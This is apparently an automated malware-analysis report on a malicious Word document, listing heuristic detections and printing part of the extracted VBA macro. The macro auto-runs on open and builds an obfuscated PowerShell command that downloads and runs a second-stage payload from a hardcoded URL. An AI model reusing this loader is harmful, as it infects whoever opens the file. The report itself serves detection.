MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute code. The macro constructs a PowerShell command by concatenating strings and array elements. This command, when executed, downloads and runs a second-stage payload from a hardcoded URL. The critical OLE_VBA_SHELL heuristic firing confirms the use of the Shell() function, which is used here to launch PowerShell.
Heuristics 6
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6427 bytes |
SHA-256: 37c427f0f762d297d56e07881bfeb615fed4f4fc57045531c45bccdd98f22990 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "speed"
Sub AutoOpen()
Dim ES_MH As String
FR_RD = Array("c", "u", "-", "o", "b", " ", "l", "s", "w", "a", "e", "n", "r", "y", "h", "d", "i", "p", "x", "t")
Dim EO_QF As String
EO_QF = "ZgB1AG4AYwB0AGkAbwBuACAAYQAoA"
ES_MH = ES_MH + FR_RD(17)
ES_MH = ES_MH + FR_RD(3)
Dim GR_RA As String
GR_RA = "CQAeAApAHsAcgBlAHQAdQByAG4AIABbAFMAeQ"
ES_MH = ES_MH + FR_RD(8)
ES_MH = ES_MH + FR_RD(10)
Dim JP_PD As String
JP_PD = "BzAHQAZQBtAC4AVAB"
ES_MH = ES_MH + FR_RD(12)
ES_MH = ES_MH + FR_RD(7)
Dim GP_LI As String
GP_LI = "lAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdAD"
ES_MH = ES_MH + FR_RD(14)
ES_MH = ES_MH + FR_RD(10)
Dim BQ_LD As String
BQ_LD = "oAOgBVAFQARgA4AC4AR"
BP_TA = BP_TA & EO_QF & GR_RA & JP_PD & GP_LI & BQ_LD
ES_MH = ES_MH + FR_RD(6)
ES_MH = ES_MH + FR_RD(6)
Dim BO_SC As String
BO_SC = "wBlAHQAUwB0AHI"
ES_MH = ES_MH + FR_RD(5)
ES_MH = ES_MH + FR_RD(2)
Dim GM_LI As String
GM_LI = "AaQBuAGcAKABbAFMAeQBzAH"
ES_MH = ES_MH + FR_RD(8)
ES_MH = ES_MH + FR_RD(16)
Dim FN_SB As String
FN_SB = "QAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtA"
ES_MH = ES_MH + FR_RD(11)
ES_MH = ES_MH + FR_RD(15)
Dim AL_QE As String
AL_QE = "EIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgA"
ES_MH = ES_MH + FR_RD(3)
ES_MH = ES_MH + FR_RD(8)
Dim EP_RF As String
EP_RF = "JAB4ACkAKQB9ADsAaQBlAHgAIAAkACgAYQAgAC"
BP_TA = BP_TA & BO_SC & GM_LI & FN_SB & AL_QE & EP_RF
ES_MH = ES_MH + FR_RD(7)
ES_MH = ES_MH + FR_RD(19)
Dim CL_LI As String
CL_LI = "QAKAAkACgAJA"
ES_MH = ES_MH + FR_RD(13)
ES_MH = ES_MH + FR_RD(6)
Dim GO_MJ As String
GO_MJ = "AoAGkAbgB2AG8AawBl"
ES_MH = ES_MH + FR_RD(10)
ES_MH = ES_MH + FR_RD(5)
Dim FP_SC As String
FP_SC = "AC0AdwBlAGIAcgBlAHEAdQBlAHMAdAA"
ES_MH = ES_MH + FR_RD(14)
ES_MH = ES_MH + FR_RD(16)
Dim FM_KB As String
FM_KB = "gACcAaAB0AHQAcABzADoALwAvAHUAcwBwA"
ES_MH = ES_MH + FR_RD(15)
ES_MH = ES_MH + FR_RD(15)
Dim DM_MG As String
DM_MG = "HIAZAA1ADEANQA"
BP_TA = BP_TA & CL_LI & GO_MJ & FP_SC & FM_KB & DM_MG
ES_MH = ES_MH + FR_RD(10)
ES_MH = ES_MH + FR_RD(11)
Dim IR_TG As String
IR_TG = "wAGMAZQBuAHQAcgBhAGwALgB0AGEAYgBsAGUALgBjA"
ES_MH = ES_MH + FR_RD(5)
ES_MH = ES_MH + FR_RD(2)
Dim AN_MB As String
AN_MB = "G8AcgBlAC4AdwBpAG4"
ES_MH = ES_MH + FR_RD(10)
ES_MH = ES_MH + FR_RD(18)
Dim ET_PI As String
ET_PI = "AZABvAHcAcwAuAG4"
ES_MH = ES_MH + FR_RD(10)
ES_MH = ES_MH + FR_RD(0)
Dim DR_LA As String
DR_LA = "AZQB0AC8AdwBhAHIAZQB"
ES_MH = ES_MH + FR_RD(1)
ES_MH = ES_MH + FR_RD(19)
Dim JN_MH As String
JN_MH = "oAG8AdQBzA"
BP_TA = BP_TA & IR_TG & AN_MB & ET_PI & DR_LA & JN_MH
ES_MH = ES_MH + FR_RD(16)
ES_MH = ES_MH + FR_RD(3)
Dim DQ_ND As String
DQ_ND = "GUAPwAkAGYAaQBsAHQAZQByA"
ES_MH = ES_MH + FR_RD(11)
ES_MH = ES_MH + FR_RD(17)
Dim JT_RA As String
JT_RA = "D0AUABhAHIAdABpAHQAaQBvAG4ASw"
ES_MH = ES_MH + FR_RD(3)
ES_MH = ES_MH + FR_RD(6)
Dim BR_LJ As String
BR_LJ = "BlAHkAJQAyA"
ES_MH = ES_MH + FR_RD(16)
ES_MH = ES_MH + FR_RD(0)
Dim CQ_LF As String
CQ_LF = "DAAZQBxAC"
ES_MH = ES_MH + FR_RD(13)
ES_MH = ES_MH + FR_RD(5)
Dim HO_RJ As String
HO_RJ = "UAMgAwACUAMgA3"
BP_TA = BP_TA & DQ_ND & JT_RA & BR_LJ & CQ_LF & HO_RJ
ES_MH = ES_MH + FR_RD(4)
ES_MH = ES_MH + FR_RD(13)
Dim DS_MA As String
DS_MA = "AHMAdABhAGcAZQAlADIA"
ES_MH = ES_MH + FR_RD(17)
ES_MH = ES_MH + FR_RD(9)
Dim HT_QH As String
HT_QH = "NwAmACQAUwBlAGwAZQ
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.